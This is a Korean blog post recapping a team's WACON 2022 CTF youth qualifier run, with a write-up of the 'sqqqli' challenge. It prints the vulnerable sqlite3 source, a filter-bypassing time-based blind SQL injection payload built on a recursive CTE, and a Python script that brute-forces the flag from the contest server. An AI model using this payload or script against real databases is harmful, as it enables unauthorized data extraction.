CTF Reviewed & Writeups/WACON CTF

2022 Wacon CTF 청소년부 예선 복기

반응형
SMALL

2022 Wacon 청소년부 예선 참가 후기

요즘, 해킹을 하면서 공부해도 실력이 많이 늘지 않고 워게임도 많이 풀지 않다보니 실력이 떨어져서 많이 고민중이였습니다.

빡공팟 4기로 겨우겨우 해킹 공부를 하고 있었는데 Wacon 2022 CTF가 열린다고 해서 참가해보게 되었습니다.

Hyphen 팀으로 참가를 하게 되었는데 팀원분들이 실력이 너무 좋으셔서 버스를 탄것 같기도 합니다.

저는 웹 문제를 1문제를 풀고 다른 팀원분이 시스템 해킹 문제 푸시고 misc 2문제 풀어서 결국 예선 4등으로 본선에 진출할 수 있게 되었습니다.

예선에 참가할때만 해도 많이 기대안하고 1인분만 하고 나오자는 마인드였는데 막상 본선진출을 하게 되니 너무 기쁘고 서울로 가서 제 해킹 커리어 처음으로 본선진출을 하게 되어서 다시 해킹에 대한 의지도 많이 불타오르고 떨어지는 마인드도 다시 잡을 수 있게 된것 같습니다.

아래는 상위 10팀 본선 진출 인증 사진입니다.

Wacon 2022 청소년부 예선 결과

이번에는 제가 푼 문제 sqqqli 를 복기해보면서 Writeup을 정리해보려 합니다.

sqqqli - write up

sqqqli - description

sqli is back!!! go away!!!

sqqqli - analysis

문제 파일을 다운받아서 확인해 보면 아래와 같은 코드가 존재합니다.

#!/usr/bin/env python3
import sqlite3
import random
import string
import os

def randName():
	return ''.join([random.choice(string.hexdigits) for i in range(16)])

dbpath = f'/tmp/{randName()}.db'
conn = sqlite3.connect(dbpath)

cur = conn.cursor()

cur.execute("""
CREATE TABLE flag (flag TEXT)
""")

cur.execute(f"INSERT INTO flag VALUES ('{os.getenv('FLAG','flag{fake-flag}')}')")

q = input('Query > ').lower()
if('lo' not in q):
	try:
		cur.execute(q)
		print('Done!')
	except:
		pass
else:
	print("sorry i can't allow that :'(")

conn.commit()
conn.close()
os.remove(dbpath)

sqlite3 모듈을 사용하였고 db는 random 으로 파일을 실행할 때마다 이름이 계속 바뀌어서 예측할 수 없도록 만들어 놓았습니다.

초반에 기본적인 설정을 하는데 flag라는 테이블을 생성하고 flag 라는 컬럼에 문제 flag를 넣어 저장합니다.

그 다음 사용자 입력을 받는데, 입력을 받은 후 대문자가 존재하면 소문자로 바꾸어서 처리하고 q 라는 변수에 할당합니다.

여기서 처음 필터링 검사를 수행하는데 만약 q 변수에 'lo'라는 문자가 존재하면 "sorry i can't allow that :'("이라는 문자열을 출력하고, 그게 아니라면 예외처리문으로 넘어가서 쿼리문을 실행하게 됩니다.

이때 만약 쿼리문 실행중에 오류가 존재하면 exception 이 발생하여 pass 되고 정상적으로 실행이 완료되었다면 "Done!"이라는 문자열을 출력하는 것을 확인할 수 있습니다.

모든 처리가 완료되면 os.remove 함수로 해당 db를 삭제하는것을 확인할 수 있습니다.

sqqqli - vulnerability search

아래는 코드중 일부를 가져온 것입니다.

...
q = input('Query > ').lower()
if('lo' not in q):
	try:
		cur.execute(q)
		print('Done!')
	except:
		pass
else:
	print("sorry i can't allow that :'(")
...

여기서, 쿼리문을 입력하고 대문자를 소문자로 변경하는 것, 문자열에 'lo'가 들어가는지 검사하는것 외에 아무런 필터링 검사 없이 쿼리문을 실행시키기 때문에 sql injection 취약점이 발생합니다.

하지만, 실행결과를 직접적으로 볼 수 없고 정상적으로 오류없이 쿼리가 실행되었는지 여부만 확인할 수 있기 때문에 아래와 같이 2가지 공격방식을 생각해 볼 수 있습니다.

 

- Error based sql injection

- Time based sql injection

 

처음에는 Error basrd sql injection 을 생각해보았지만 아무리 구글링을 해도 sqlite3 에서 인위적으로 오류를 발생시키는 함수/구문을 찾을 수 없었기 때문에 Time based sql injection을 생각해 볼 수 있었습니다.

sqqqli - make payload

sqlite3 time based sql injection 취약점을 일으키려면 다른 mysql, mssql, 과 같은 sql 에서는 sleep 함수 또는 benchmark 함수로 인위적으로 시간지연을 만들어낼 수 있지만, sqlite 에서는 위와 같은 함수는 지원하지 않기 때문에 헤비 쿼리를 사용하여야 했습니다.

헤비쿼리 : 과도한 CPU 연산이 필요한 쿼리문이나 많은 양의 데이터를 갑자기 삽입하는 쿼리문을 만들어 강제적으로 시간지연을 만들어내는 쿼리문을 뜻함. 하지만 잘못하면 CPU 상의 문제가 발생할 수 있으므로 주의해서 사용해야한다.

저는 이를 이용해서 공격할 수 있는 payload를 찾아낼 수 있었습니다.

SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1500000000/2))));

해당 쿼리문을 이용해서 시간지연을 일으키려고 하였지만 'lo'라는 문자열이 해당 쿼리문에 포함되어있기 때문에 필터링에 걸려 사용할 수 없었습니다.

즉, 이와 다른 payload를 찾아내야 했고 아래와 같은 헤비쿼리문을 찾을 수 있었습니다.

(WITH RECURSIVE r(i) AS ( VALUES(0) UNION ALL SELECT i FROM r LIMIT 6000000 ) SELECT i FROM r WHERE i = 1)

반복문을 이용해서 테이블에 많은 양의 데이터를 한번에 집어넣는 쿼리문으로 강제적인 시간 지연을 발생시킬 수 있었습니다,

즉 저는 위의 헤비쿼리문을 이용해 아래와 같은 sql payload를 만들어 냈습니다.

select * from flag where unicode(substr(flag,1,1))=87 or (WITH RECURSIVE r(i) AS ( VALUES(0) UNION ALL SELECT i FROM r LIMIT 6000000 ) SELECT i FROM r WHERE i = 1)

여기서 substr 함수 후 unicode 함수를 이용해 ascii 코드로 바꾼 이유는 lower 함수로 인하여 대문자가 소문자로 바뀌는 현상 때문에 flag 값에 대문자가 존재할 경우 정상적으로 flag를 찾을 수 없습니다.

이를 방지하기 위해서 ascii 코드를 사용해서 대문자까지 비교가 가능하도록 하였습니다.

만약 flag가 맞다면 뒤의 헤비쿼리가 동작되지 않고 flag 비교한 값이 거짓일 경우 뒤의 헤비쿼리문으로 시간지연이 발생하여 참/거짓 여부를 판별할 수 있었습니다.

sqqqli - exploit

모든 payload가 완성되었기 때문에 이를 자동화로 만들어서 최종적인 exploit code를 만들어 냈습니다.

import socket
import time

ascii_table = [65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 125, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57]
flag = ""

def start_exploit(host="110.10.147.146", port=9020):
    global flag
    for j in range(1, 33):
        for i in ascii_table:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, port))

            sql_payload = f"select * from flag where unicode(substr(flag,{j},1))={i} or (WITH RECURSIVE r(i) AS ( VALUES(0) UNION ALL SELECT i FROM r LIMIT 6000000 ) SELECT i FROM r WHERE i = 1)"

            s.sendall(sql_payload.encode())
            s.shutdown(socket.SHUT_WR)

            result = ""

            while True:
                data = s.recv(1024)
                if (not data):
                    break
                result = data.decode()
            
            if ("Done!" in result):
                flag += chr(i)
                print(f"[*] find flag : {flag}, now flag length : {j}")
                break
            else:
                print(f"[*] success send payload ascii is : '{chr(i)}', now check flag length : {j}")

            s.close()

if __name__ == '__main__':
  start_exploit()

해당 exploit code를 실행시키게 되면 약 10~20분 정도 뒤에 최종적인 flag를 획득할 수 있습니다.

정답 flag는 아래와 같습니다. 

FLAG : WACon{sql-is-fun-fun-fun!!!!!}

Wacon 2022 CTF 느낀점

보통 예선전인 경우 웹 문제가 많이 어려웠지 않았는데 이번 예선문제는 굉장히 난이도가 어려웠던것 같습니다.

이 문제도 겨우 풀었고 다른 문제가 더 있었는데 손도 못댈 정도로 많이 어려웠던 것 같습니다.

하지만 해당 문제를 풀어보면서 계속 자료를 찾고 공부를 할 수 있었고 예전에 기억이 잘 나지 않았던 공격방식과 코딩 실력이 살짝 다시 복구된 느낌이여서 굉장히 뜻깊었던 것 같습니다.

이번에 본선을 나가게 되는데, 본선에서도 수상은 못하더라도 꼭 최선을 다해서 좋은 결과가 있기를 기대하고 싶습니다.

같이 예선 뛰어주신 팀원분들 모두 고생 많으셨고 본선에서도 열심히 해서 꼭 수상까지 갈 수 있도록 노력해보면 좋을 것 같습니다.

반응형
LIST

'CTF Reviewed & Writeups > WACON CTF' 카테고리의 다른 글

WACON 2023 Final WEB(funnyjs, Cha's eval) Writeup  (35) 2023.09.28
WACON 2023 Quals WEB Writeup  (33) 2023.09.04
2022 Wacon CTF 본선 복기  (0) 2022.07.21